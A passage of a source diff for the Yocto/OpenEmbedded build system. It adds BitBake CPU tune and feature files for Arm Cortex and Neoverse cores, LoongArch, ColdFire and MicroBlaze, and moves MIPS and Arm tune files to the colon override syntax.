+PACKAGE_EXTRA_ARCHS:tune-cortexr82 = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} cortexr82"
+BASE_LIB:tune-cortexr82 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-cortexa510.inc b/meta/conf/machine/include/arm/armv9a/tune-cortexa510.inc
new file mode 100644
index 0000000000..09219ec7f1
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-cortexa510.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-a510
+#
+DEFAULTTUNE ?= "cortexa510"
+
+TUNEVALID[cortexa510] = "Enable cortex-a510 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa510', ' -mcpu=cortex-a510', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "cortexa510"
+ARMPKGARCH:tune-cortexa510 = "cortexa510"
+TUNE_FEATURES:tune-cortexa510 = "aarch64 crypto cortexa510"
+PACKAGE_EXTRA_ARCHS:tune-cortexa510 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} cortexa510"
+BASE_LIB:tune-cortexa510 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-cortexa710.inc b/meta/conf/machine/include/arm/armv9a/tune-cortexa710.inc
new file mode 100644
index 0000000000..19743d67db
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-cortexa710.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-a710
+#
+DEFAULTTUNE ?= "cortexa710"
+
+TUNEVALID[cortexa710] = "Enable cortex-a710 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa710', ' -mcpu=cortex-a710', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "cortexa710"
+ARMPKGARCH:tune-cortexa710 = "cortexa710"
+TUNE_FEATURES:tune-cortexa710 = "aarch64 crypto cortexa710"
+PACKAGE_EXTRA_ARCHS:tune-cortexa710 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} cortexa710"
+BASE_LIB:tune-cortexa710 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-cortexa715.inc b/meta/conf/machine/include/arm/armv9a/tune-cortexa715.inc
new file mode 100644
index 0000000000..2f6d8c6f8f
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-cortexa715.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-a715
+#
+DEFAULTTUNE ?= "cortexa715"
+
+TUNEVALID[cortexa715] = "Enable cortex-a715 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa715', ' -mcpu=cortex-a715', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "cortexa715"
+ARMPKGARCH:tune-cortexa715 = "cortexa715"
+TUNE_FEATURES:tune-cortexa715 = "aarch64 crypto cortexa715"
+PACKAGE_EXTRA_ARCHS:tune-cortexa715 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} cortexa715"
+BASE_LIB:tune-cortexa715 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-cortexx2.inc b/meta/conf/machine/include/arm/armv9a/tune-cortexx2.inc
new file mode 100644
index 0000000000..c116e30ff5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-cortexx2.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-x2
+#
+DEFAULTTUNE ?= "cortexx2"
+
+TUNEVALID[cortexx2] = "Enable cortex-x2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexx2', ' -mcpu=cortex-x2', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "cortexx2"
+ARMPKGARCH:tune-cortexx2 = "cortexx2"
+TUNE_FEATURES:tune-cortexx2 = "aarch64 crypto cortexx2"
+PACKAGE_EXTRA_ARCHS:tune-cortexx2 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} cortexx2"
+BASE_LIB:tune-cortexx2 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-cortexx3.inc b/meta/conf/machine/include/arm/armv9a/tune-cortexx3.inc
new file mode 100644
index 0000000000..7982079ef8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-cortexx3.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-x3
+#
+DEFAULTTUNE ?= "cortexx3"
+
+TUNEVALID[cortexx3] = "Enable cortex-x3 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexx3', ' -mcpu=cortex-x3', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "cortexx3"
+ARMPKGARCH:tune-cortexx3 = "cortexx3"
+TUNE_FEATURES:tune-cortexx3 = "aarch64 crypto cortexx3"
+PACKAGE_EXTRA_ARCHS:tune-cortexx3 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} cortexx3"
+BASE_LIB:tune-cortexx3 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc b/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc
new file mode 100644
index 0000000000..ad60a3c9f3
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for Neoverse-N2
+#
+DEFAULTTUNE ?= "neoversen2"
+
+TUNEVALID[neoversen2] = "Enable Neoverse-N2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversen2', ' -mcpu=neoverse-n2', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversen2 neoversen2-crypto"
+ARMPKGARCH:tune-neoversen2 = "neoversen2"
+ARMPKGARCH:tune-neoversen2-crypto = "neoversen2-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-neoversen2 = "aarch64 neoversen2"
+TUNE_FEATURES:tune-neoversen2-crypto = "${TUNE_FEATURES:tune-neoversen2} crypto"
+PACKAGE_EXTRA_ARCHS:tune-neoversen2 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a} neoversen2"
+PACKAGE_EXTRA_ARCHS:tune-neoversen2-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} neoversen2 neoversen2-crypto"
+BASE_LIB:tune-neoversen2 = "lib64"
+BASE_LIB:tune-neoversen2-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-neoversev2.inc b/meta/conf/machine/include/arm/armv9a/tune-neoversev2.inc
new file mode 100644
index 0000000000..5d1e108468
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-neoversev2.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for neoverse-v2
+#
+DEFAULTTUNE ?= "neoversev2"
+
+TUNEVALID[neoversev2] = "Enable neoverse-v2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversev2', ' -mcpu=neoverse-v2', '', d)}"
+
+require conf/machine/include/arm/arch-armv9a.inc
+
+AVAILTUNES += "neoversev2"
+ARMPKGARCH:tune-neoversev2 = "neoversev2"
+TUNE_FEATURES:tune-neoversev2 = "aarch64 crypto neoversev2"
+PACKAGE_EXTRA_ARCHS:tune-neoversev2 = "${PACKAGE_EXTRA_ARCHS:tune-armv9a-crypto} neoversev2"
+BASE_LIB:tune-neoversev2 = "lib64"
diff --git a/meta/conf/machine/include/arm/feature-arm-crc.inc b/meta/conf/machine/include/arm/feature-arm-crc.inc
new file mode 100644
index 0000000000..8a69d2e2fa
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crc.inc
@@ -0,0 +1,4 @@
+# Cyclic Redundancy Check (CRC) instructions for armv8-a and armv8-r
+
+TUNEVALID[crc] = "Enable instructions for ARMv8 Cyclic Redundancy Check (CRC)"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-crypto.inc b/meta/conf/machine/include/arm/feature-arm-crypto.inc
new file mode 100644
index 0000000000..aade6ce08d
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crypto.inc
@@ -0,0 +1,5 @@
+# Cryptographic instructions for:
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[crypto] = "Enable cryptographic instructions for ARMv8"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-dsp.inc b/meta/conf/machine/include/arm/feature-arm-dsp.inc
new file mode 100644
index 0000000000..7f7ada7461
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-dsp.inc
@@ -0,0 +1,3 @@
+ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
+TUNEVALID[dsp] = "ARM DSP functionality"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], '+dsp', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-idiv.inc b/meta/conf/machine/include/arm/feature-arm-idiv.inc
new file mode 100644
index 0000000000..0ea42b1b39
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-idiv.inc
@@ -0,0 +1,2 @@
+TUNEVALID[idiv] = "ARM-state integer division instructions"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'idiv', '+idiv', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-neon.inc b/meta/conf/machine/include/arm/feature-arm-neon.inc
index eaddd054ce..174b9b9f2a 100644
--- a/meta/conf/machine/include/arm/feature-arm-neon.inc
+++ b/meta/conf/machine/include/arm/feature-arm-neon.inc
@@ -19,3 +19,8 @@ TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv4', 'neon' ],
TUNEVALID[vfpv4d16] = "Enable Vector Floating Point Version 4 with 16 registers (vfpv4-d16) unit."
TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv4d16', ' vfpv4-d16', '', d)}"
+
+TUNEVALID[vfpv5spd16] = "Enable Vector Floating Point Version 5, Single Precision. with 16 registers (fpv5-sp-d16) unit."
+TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv5spd16', 'fpv5-sp-d16', '', d)}"
+
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv3d16', 'vfpv5spd16' ], '+fp', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-simd.inc b/meta/conf/machine/include/arm/feature-arm-simd.inc
new file mode 100644
index 0000000000..1afaf8d901
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-simd.inc
@@ -0,0 +1,5 @@
+# Advanced SIMD and floating-point instructions for armv7-a, armv7ve,
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[simd] = "Enable instructions for Advanced SIMD and floating-point units"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'simd', '+simd', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-sve.inc b/meta/conf/machine/include/arm/feature-arm-sve.inc
new file mode 100644
index 0000000000..bdae3d8fc3
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-sve.inc
@@ -0,0 +1,8 @@
+# Scalable Vector Extension (SVE) for Armv8-A and R
+# Enabled by default for Armv9
+
+TUNEVALID[sve] = "Enable SVE instructions for ARMv8"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'sve', '+sve', '', d)}"
+
+TUNEVALID[sve2] = "Enable SVE2 instructions for ARMv8"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'sve2', '+sve2', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-thumb.inc b/meta/conf/machine/include/arm/feature-arm-thumb.inc
index bae169da3a..1c9a118160 100644
--- a/meta/conf/machine/include/arm/feature-arm-thumb.inc
+++ b/meta/conf/machine/include/arm/feature-arm-thumb.inc
@@ -22,9 +22,9 @@ python () {
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', ' -m${ARM_M_OPT}', '', d)}"
ARM_THUMB_SUFFIX = "t2"
-ARM_THUMB_SUFFIX_armv4 = "t"
-ARM_THUMB_SUFFIX_armv5 = "t"
-ARM_THUMB_SUFFIX_armv6 = "t"
+ARM_THUMB_SUFFIX:armv4 = "t"
+ARM_THUMB_SUFFIX:armv5 = "t"
+ARM_THUMB_SUFFIX:armv6 = "t"
# Add suffix from ARM_THUMB_SUFFIX only if after all this we still set ARM_M_OPT to thumb
ARMPKGSFX_THUMB .= "${@bb.utils.contains('TUNE_FEATURES', 'thumb', '${ARM_THUMB_SUFFIX}', '', d) if d.getVar('ARM_M_OPT') == 'thumb' else ''}"
diff --git a/meta/conf/machine/include/arm/feature-arm-vfp.inc b/meta/conf/machine/include/arm/feature-arm-vfp.inc
index 678888e638..d020100daa 100644
--- a/meta/conf/machine/include/arm/feature-arm-vfp.inc
+++ b/meta/conf/machine/include/arm/feature-arm-vfp.inc
@@ -5,11 +5,12 @@
TUNEVALID[vfp] = "Enable Vector Floating Point (vfp) unit."
TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfp', ' vfp', '', d)}"
+# simd is special, we don't pass this to the -mfpu, it's implied
TUNE_CCARGS .= "${@ (' -mfpu=%s' % d.getVar('TUNE_CCARGS_MFPU').split()[-1]) if (d.getVar('TUNE_CCARGS_MFPU') != '') else ''}"
# The following deals with both vfpv3-d16 and vfpv4-d16
ARMPKGSFX_FPU = "${@ ('-%s' % d.getVar('TUNE_CCARGS_MFPU').split()[-1].replace('-d16', 'd16')) if (d.getVar('TUNE_CCARGS_MFPU') != '') else ''}"
TUNEVALID[callconvention-hard] = "Enable EABI hard float call convention, requires VFP."
-TUNE_CCARGS_MFLOAT = "${@ bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'hard', 'softfp', d) if (d.getVar('TUNE_CCARGS_MFPU') != '') else '' }"
+TUNE_CCARGS_MFLOAT = "${@ bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'hard', 'softfp', d) if (d.getVar('TUNE_CCARGS_MFPU') != '' or bb.utils.contains('TUNE_FEATURES', 'simd', True, False, d)) else '' }"
TUNE_CCARGS .= "${@ ' -mfloat-abi=${TUNE_CCARGS_MFLOAT}' if (d.getVar('TUNE_CCARGS_MFLOAT') != '') else ''}"
ARMPKGSFX_EABI = "${@ 'hf' if (d.getVar('TUNE_CCARGS_MFLOAT') == 'hard') else ''}"
diff --git a/meta/conf/machine/include/loongarch/arch-loongarch.inc b/meta/conf/machine/include/loongarch/arch-loongarch.inc
new file mode 100644
index 0000000000..d0a51b34c7
--- /dev/null
+++ b/meta/conf/machine/include/loongarch/arch-loongarch.inc
@@ -0,0 +1,7 @@
+# LoongArch Architecture definition
+
+DEFAULTTUNE ?= "loongarch64"
+
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'loongarch64', ' -march=loongarch64 -mabi=lp64d', ' ', d)}"
diff --git a/meta/conf/machine/include/loongarch/qemuloongarch.inc b/meta/conf/machine/include/loongarch/qemuloongarch.inc
new file mode 100644
index 0000000000..e1bcfabc43
--- /dev/null
+++ b/meta/conf/machine/include/loongarch/qemuloongarch.inc
@@ -0,0 +1,35 @@
+PREFERRED_PROVIDER_virtual/bootloader ?= "u-boot"
+
+require conf/machine/include/qemu.inc
+require conf/machine/include/loongarch/tune-loongarch.inc
+
+MACHINE_FEATURES = "screen keyboard ext2 ext3 serial"
+
+KERNEL_IMAGETYPE = "vmlinuz"
+KERNEL_IMAGETYPES += "vmlinuz"
+KEEPUIMAGE = "no"
+
+SERIAL_CONSOLES ?= "115200;ttyS0 115200;hvc0"
+
+IMAGE_FSTYPES += "ext4 wic.qcow2"
+
+WKS_FILE ?= "qemuloongarch.wks"
+
+MACHINE_EXTRA_RRECOMMENDS += " kernel-modules"
+
+#EXTRA_IMAGEDEPENDS += "opensbi"
+
+UBOOT_ENTRYPOINT_loongarch32 = "0x80400000"
+UBOOT_ENTRYPOINT_loongarch64 = "0x80200000"
+
+# qemuboot options
+QB_KERNEL_CMDLINE_APPEND = "earlycon=sbi"
+QB_MACHINE = "-machine virt"
+QB_DEFAULT_BIOS = "fw_jump.elf"
+QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
+QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
+QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
+QB_SERIAL_OPT = "-device virtio-serial-pci -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
+QB_TCPSERIAL_OPT = " -device virtio-serial-pci -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1,nodelay=on -device virtconsole,chardev=virtcon"
+# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
+QB_OPT_APPEND = " -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-device,rng=rng0"
diff --git a/meta/conf/machine/include/loongarch/tune-loongarch.inc b/meta/conf/machine/include/loongarch/tune-loongarch.inc
new file mode 100644
index 0000000000..f02ddda474
--- /dev/null
+++ b/meta/conf/machine/include/loongarch/tune-loongarch.inc
@@ -0,0 +1,13 @@
+require conf/machine/include/loongarch/arch-loongarch.inc
+
+TUNEVALID[loongarch64] = "Enable 64-bit LoongArch optimizations"
+
+TUNEVALID[littleendian] = "Little endian mode"
+
+AVAILTUNES += "loongarch64"
+
+# Default
+TUNE_FEATURES:tune-loongarch64 = "loongarch64"
+TUNE_ARCH:tune-loongarch64 = "loongarch64"
+TUNE_PKGARCH:tune-loongarch64 = "loongarch64"
+PACKAGE_EXTRA_ARCHS:tune-loongarch64 = "loongarch64"
diff --git a/meta/conf/machine/include/m68k/arch-m68k.inc b/meta/conf/machine/include/m68k/arch-m68k.inc
index 3ff8a3a5b5..3f0f2ff57e 100644
--- a/meta/conf/machine/include/m68k/arch-m68k.inc
+++ b/meta/conf/machine/include/m68k/arch-m68k.inc
@@ -5,4 +5,4 @@ DEFAULTTUNE ?= "m68k"
# Architecture name
TUNE_ARCH = "m68k"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
diff --git a/meta/conf/machine/include/m68k/tune-mcf5441x.inc b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
new file mode 100644
index 0000000000..7eefce03cb
--- /dev/null
+++ b/meta/conf/machine/include/m68k/tune-mcf5441x.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "mcf5441x"
+
+require conf/machine/include/m68k/arch-m68k.inc
+
+TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
+
+AVAILTUNES += "mcf5441x"
+TUNE_FEATURES:tune-mcf5441x = "mcf5441x"
+TUNE_ARCH:tune-mcf5441x = "mcf5441x"
+TUNE_PKGARCH:tune-mcf5441x = "mcf5441x"
+PACKAGE_EXTRA_ARCHS:tune-mcf5441x = "m68k mcf5441x"
+
diff --git a/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc b/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
index 5c37f49abb..658e87b8cd 100644
--- a/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
+++ b/meta/conf/machine/include/microblaze/feature-microblaze-versions.inc
@@ -16,7 +16,7 @@ def microblaze_current_version(d, gcc = False):
# find the current version, and convert it to major/minor integers
version = None
for t in (d.getVar("TUNE_FEATURES") or "").split():
- m = re.search("^v(\d+)\.(\d+)", t)
+ m = re.search(r"^v(\d+)\.(\d+)", t)
if m:
version = int(m.group(1)), int(m.group(2))
break
diff --git a/meta/conf/machine/include/microblaze/tune-microblaze.inc b/meta/conf/machine/include/microblaze/tune-microblaze.inc
new file mode 100644
index 0000000000..11f7233cf4
--- /dev/null
+++ b/meta/conf/machine/include/microblaze/tune-microblaze.inc
@@ -0,0 +1,8 @@
+DEFAULTTUNE ?= "microblaze"
+
+require conf/machine/include/microblaze/arch-microblaze.inc
+
+AVAILTUNES += "microblaze"
+TUNE_FEATURES:tune-microblaze = "microblaze"
+PACKAGE_EXTRA_ARCHS:tune-microblaze = "${TUNE_PKGARCH}"
+
diff --git a/meta/conf/machine/include/mips/README b/meta/conf/machine/include/mips/README
index f36e87b45a..77448c5190 100644
--- a/meta/conf/machine/include/mips/README
+++ b/meta/conf/machine/include/mips/README
@@ -23,7 +23,7 @@ scheme. The scheme is: <mips variant>[-nf][-n32]
TUNE_PKGARCH is defined as:
-${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
+${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}
The following is a list of MIPS specific variables:
@@ -35,7 +35,7 @@ defined as "el".
MIPSPKGSFX_ENDIAN2 - For bigendian hardware this is "eb", otherwise it's
defined as "el".
-MIPSPKGSFX_VARIANT_tune-<tune> - In the default tunings it is set to the
+MIPSPKGSFX_VARIANT:tune-<tune> - In the default tunings it is set to the
same value as TUNE_ARCH. In custom, optimized tunings, the value should
be modified to more precisely describe the tuning.
diff --git a/meta/conf/machine/include/mips/arch-mips.inc b/meta/conf/machine/include/mips/arch-mips.inc
index 2f625119cb..e39cdcab5d 100644
--- a/meta/conf/machine/include/mips/arch-mips.inc
+++ b/meta/conf/machine/include/mips/arch-mips.inc
@@ -17,15 +17,17 @@ TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'o32', ' -mabi=32', '', d)
TUNEVALID[n32] = "MIPS64 n32 ABI"
TUNECONFLICTS[n32] = "o32 n64"
-ABIEXTENSION .= "${@bb.utils.filter('TUNE_FEATURES', 'n32' ,d)}"
+ABIEXTENSION .= "${@bb.utils.filter('TUNE_FEATURES', 'n32', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'n32', ' -mabi=n32', '', d)}"
# user mode qemu doesn't support mips64 n32: "Invalid ELF image for this architecture"
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'n32', 'qemu-usermode', '', d)}"
TUNEVALID[n64] = "MIPS64 n64 ABI"
TUNECONFLICTS[n64] = "o32 n32"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'n64', ' -mabi=64', '', d)}"
+LD64ARG = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '-m elf64btsmip', '-m elf64ltsmip', d)}"
+TUNE_LDARGS += "${@bb.utils.contains('TUNE_FEATURES', 'n64', '${LD64ARG}', '', d)}"
# Floating point
TUNEVALID[fpu-hard] = "Use hardware FPU"
@@ -49,103 +51,103 @@ MIPSPKGSFX_64R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', 'isa', '
MIPSPKGSFX_32R6 = "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', 'isa32', '', d)}"
TUNE_ARCH = "mips${MIPSPKGSFX_32R6}${MIPSPKGSFX_64R6}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}"
-TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT_tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
+TUNE_PKGARCH = "${MIPSPKGSFX_VARIANT:tune-${DEFAULTTUNE}}${MIPSPKGSFX_FPU}${MIPSPKGSFX_ABI}"
# Various Global Machine Overrides
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32${MIPSPKGSFX_ENDIAN2}:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32:', '' ,d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'r6', 'mipsarchr6:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32${MIPSPKGSFX_ENDIAN2}:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n64', 'mipsarchn64:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'o32', 'mipsarcho32:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'n32', 'mipsarchn32:', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'r6', 'mipsarchr6:', '', d)}"
MACHINEOVERRIDES =. "mipsarch${MIPSPKGSFX_ENDIAN2}:"
MACHINEOVERRIDES =. "mipsarch:"
# Base tunes
AVAILTUNES += "mips mips64-n32 mips64 mipsel mips64el-n32 mips64el mips-nf mips64-nf-n32 mips64-nf mipsel-nf mips64el-nf-n32 mips64el-nf"
-TUNE_FEATURES_tune-mips = "o32 bigendian fpu-hard"
-BASE_LIB_tune-mips = "lib"
-MIPSPKGSFX_VARIANT_tune-mips = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips = "mips"
-
-TUNE_FEATURES_tune-mips64-n32 = "n32 bigendian fpu-hard"
-BASE_LIB_tune-mips64-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-n32 = "mips64-n32"
-
-TUNE_FEATURES_tune-mips64 = "n64 bigendian fpu-hard"
-BASE_LIB_tune-mips64 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64 = "mips64"
-
-TUNE_FEATURES_tune-mipsel = "o32 fpu-hard"
-BASE_LIB_tune-mipsel = "lib"
-MIPSPKGSFX_VARIANT_tune-mipsel = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsel = "mipsel"
-
-TUNE_FEATURES_tune-mips64el-n32 = "n32 fpu-hard"
-BASE_LIB_tune-mips64el-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64el-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el-n32 = "mips64el-n32"
-
-TUNE_FEATURES_tune-mips64el = "n64 fpu-hard"
-BASE_LIB_tune-mips64el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64el = "mips64el"
-
-TUNE_FEATURES_tune-mips-nf = "o32 bigendian"
-BASE_LIB_tune-mips-nf = "lib"
-MIPSPKGSFX_VARIANT_tune-mips-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips-nf = "mips-nf"
-
-TUNE_FEATURES_tune-mips64-nf-n32 = "n32 bigendian"
-BASE_LIB_tune-mips64-nf-n32 = "lib32"
-MIPSPKGSFX_VARIANT_tune-mips64-nf-n32 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf-n32 = "mips64-nf-n32"
-
-TUNE_FEATURES_tune-mips64-nf = "n64 bigendian"
-BASE_LIB_tune-mips64-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64-nf = "mips64-nf"
-
